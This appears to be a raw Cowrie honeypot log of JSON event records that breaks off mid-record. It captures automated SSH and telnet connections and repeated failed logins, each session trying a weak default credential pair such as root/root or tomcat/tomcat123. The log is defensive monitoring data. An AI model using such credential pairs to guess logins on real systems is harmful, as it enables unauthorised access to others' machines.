{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:50.000486Z","src_ip":"45.156.87.204","session":"c89d4f93d518","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:50.319338Z","src_ip":"45.156.87.204","session":"c89d4f93d518","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:51.404557Z","src_ip":"45.156.87.204","session":"c89d4f93d518","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47078,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bfc1395d3f9","protocol":"telnet","message":"New connection: 152.42.224.71:47078 (10.17.0.5:23) [session: 4bfc1395d3f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:52.722552Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48170,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f2535d5a1f2","protocol":"ssh","message":"New connection: 45.156.87.204:48170 (159.203.135.109:22) [session: 8f2535d5a1f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:53.513213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:53.518441Z","src_ip":"45.156.87.204","session":"8f2535d5a1f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:53.604955Z","src_ip":"45.156.87.204","session":"8f2535d5a1f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:53.851846Z","src_ip":"45.156.87.204","session":"8f2535d5a1f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:54.936640Z","src_ip":"45.156.87.204","session":"8f2535d5a1f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46352,"dst_ip":"10.17.0.5","dst_port":23,"session":"465065079095","protocol":"telnet","message":"New connection: 152.42.224.71:46352 (10.17.0.5:23) [session: 465065079095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:56.912891Z"}
{"eventid":"cowrie.session.closed","duration":36.31787943840027,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:57.202850Z","src_ip":"152.42.224.71","session":"a0188527a111","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48180,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b81b1a12a44","protocol":"ssh","message":"New connection: 45.156.87.204:48180 (159.203.135.109:22) [session: 4b81b1a12a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:57.298805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:57.324716Z","src_ip":"45.156.87.204","session":"4b81b1a12a44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:57.399092Z","src_ip":"45.156.87.204","session":"4b81b1a12a44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:57.706533Z","src_ip":"45.156.87.204","session":"4b81b1a12a44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.1551251411438,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:57.930571Z","src_ip":"152.42.224.71","session":"9b26930e4449","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:58.791881Z","src_ip":"45.156.87.204","session":"4b81b1a12a44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00178623199463,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:59.486388Z","src_ip":"152.42.224.71","session":"b80312570e8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46364,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbe022aa2713","protocol":"telnet","message":"New connection: 152.42.224.71:46364 (10.17.0.5:23) [session: dbe022aa2713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:59.573104Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48186,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fef51b2627c","protocol":"ssh","message":"New connection: 45.156.87.204:48186 (159.203.135.109:22) [session: 2fef51b2627c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:00.983170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:00.988405Z","src_ip":"45.156.87.204","session":"2fef51b2627c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:01.074948Z","src_ip":"45.156.87.204","session":"2fef51b2627c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yarn","password":"yarn","message":"login attempt [yarn/yarn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:01.323999Z","src_ip":"45.156.87.204","session":"2fef51b2627c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:02.522575Z","src_ip":"45.156.87.204","session":"2fef51b2627c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":59610,"dst_ip":"159.203.135.109","dst_port":22,"session":"1aaa4fd3ecac","protocol":"ssh","message":"New connection: 45.156.87.204:59610 (159.203.135.109:22) [session: 1aaa4fd3ecac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:04.510990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:04.516619Z","src_ip":"45.156.87.204","session":"1aaa4fd3ecac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:04.786901Z","src_ip":"45.156.87.204","session":"1aaa4fd3ecac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:05.184326Z","src_ip":"45.156.87.204","session":"1aaa4fd3ecac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:06.269947Z","src_ip":"45.156.87.204","session":"1aaa4fd3ecac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":59622,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6d37a83767b","protocol":"ssh","message":"New connection: 45.156.87.204:59622 (159.203.135.109:22) [session: f6d37a83767b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:08.393971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:08.399232Z","src_ip":"45.156.87.204","session":"f6d37a83767b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:08.483502Z","src_ip":"45.156.87.204","session":"f6d37a83767b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.02933311462402,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:08.591247Z","src_ip":"152.42.224.71","session":"b0ed837ba06e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123","message":"login attempt [test/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:08.737567Z","src_ip":"45.156.87.204","session":"f6d37a83767b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:09.942370Z","src_ip":"45.156.87.204","session":"f6d37a83767b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49128,"dst_ip":"10.17.0.5","dst_port":23,"session":"226098762ba2","protocol":"telnet","message":"New connection: 152.42.224.71:49128 (10.17.0.5:23) [session: 226098762ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:11.661508Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":59626,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2ca2915b6b1","protocol":"ssh","message":"New connection: 45.156.87.204:59626 (159.203.135.109:22) [session: a2ca2915b6b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:11.958642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:11.963492Z","src_ip":"45.156.87.204","session":"a2ca2915b6b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:12.046667Z","src_ip":"45.156.87.204","session":"a2ca2915b6b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat123","message":"login attempt [tomcat/tomcat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:12.607860Z","src_ip":"45.156.87.204","session":"a2ca2915b6b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.431440591812134,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:13.096826Z","src_ip":"152.42.224.71","session":"b3acb75b88e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:13.693755Z","src_ip":"45.156.87.204","session":"a2ca2915b6b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49134,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee897d4d1571","protocol":"telnet","message":"New connection: 152.42.224.71:49134 (10.17.0.5:23) [session: ee897d4d1571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:13.773098Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49144,"dst_ip":"10.17.0.5","dst_port":23,"session":"162a96afcc6f","protocol":"telnet","message":"New connection: 152.42.224.71:49144 (10.17.0.5:23) [session: 162a96afcc6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:13.894866Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56320,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3d48bc15a4f","protocol":"ssh","message":"New connection: 45.156.87.204:56320 (159.203.135.109:22) [session: b3d48bc15a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:15.741559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:15.746902Z","src_ip":"45.156.87.204","session":"b3d48bc15a4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ec